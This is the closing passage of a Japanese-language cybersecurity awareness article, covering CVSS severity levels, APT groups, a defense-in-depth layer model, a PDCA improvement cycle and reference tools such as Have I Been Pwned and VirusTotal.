| スコア | 深刻度 |
|---|---|
| 9.0-10.0 | Critical（緊急） |
| 7.0-8.9 | High（高） |
| 4.0-6.9 | Medium（中） |
| 0.1-3.9 | Low（低） |
APT（Advanced Persistent Threat / 高度持続的脅威）
国家支援型の高度な攻撃グループ。長期間にわたって標的組織に潜伏し、機密情報を窃取する。
特徴:
- 高度な技術力
- 豊富な資金
- 長期的な潜伏
- ゼロデイエクスプロイトの使用
🎓 まとめ：多層防御（Defense in Depth）の実践
現代のサイバー攻撃は多様化・高度化しており、単一の対策では防ぎきれません。
多層防御のレイヤー構成
┌─────────────────────────────────────────┐
│ レイヤー5: 人間 │
│ └→ トレーニング、意識向上、文化醸成 │
└─────────────────────────────────────────┘
↓
┌─────────────────────────────────────────┐
│ レイヤー4: データ │
│ └→ 暗号化、最小権限、バックアップ │
└─────────────────────────────────────────┘
↓
┌─────────────────────────────────────────┐
│ レイヤー3: アプリケーション │
│ └→ 入力検証、エスケープ、パラメータ化 │
└─────────────────────────────────────────┘
↓
┌─────────────────────────────────────────┐
│ レイヤー2: ネットワーク │
│ └→ セグメンテーション、ゼロトラスト │
└─────────────────────────────────────────┘
↓
┌─────────────────────────────────────────┐
│ レイヤー1: 境界防御 │
│ └→ ファイアウォール、WAF、CDN │
└─────────────────────────────────────────┘
継続的な改善サイクル（PDCA）
┌─────────┐
│ Plan │ 対策計画の策定
└─────────┘
↓
┌─────────┐
│ Do │ 対策の実装・運用
└─────────┘
↓
┌─────────┐
│ Check │ 定期的な脆弱性スキャン
└─────────┘ ログ監視・異常検知
↓
┌─────────┐
│ Act │ インシデント対応
└─────────┘ 事後分析・再発防止
↓
（繰り返し）
重要な3つのポイント
-
技術的対策だけでは不十分
- 人間が最大の脆弱性であり、最強の防御にもなる
- 定期的なトレーニングと文化醸成が必須
-
完璧なセキュリティは存在しない
- 「侵入されない」ではなく「侵入を早期検知・迅速対応」
- インシデント対応計画の整備が重要
-
継続的な改善が必須
- 脅威は日々進化している
- 定期的な見直しとアップデートを怠らない
🔗 参考資料
日本国内の情報源
国際的な情報源
ツール・サービス
- Have I Been Pwned - 情報漏洩確認
- VirusTotal - マルウェアスキャン
- Shodan - IoTデバイス検索（攻撃表面の把握）
🙏 おわりに
サイバー攻撃は他人事ではなく、誰もが当事者になり得る時代です。
本記事で紹介した12種類の攻撃手法と対策を理解し、日々の業務やプライベートで実践することで、被害のリスクを大幅に低減できます。
最も重要なこと:
- ✅ 疑わしいと感じたら立ち止まる
- ✅ 急かされても冷静に確認する
- ✅ わからないことは相談する
セキュリティは全員参加が原則です。一人ひとりの意識と行動が、組織全体を守る力になります。
この記事が役に立ったと思ったら、いいね・ストックをお願いします！
質問やフィードバックはコメント欄でお待ちしています。
Copyright © 2026. All Rights Reserved.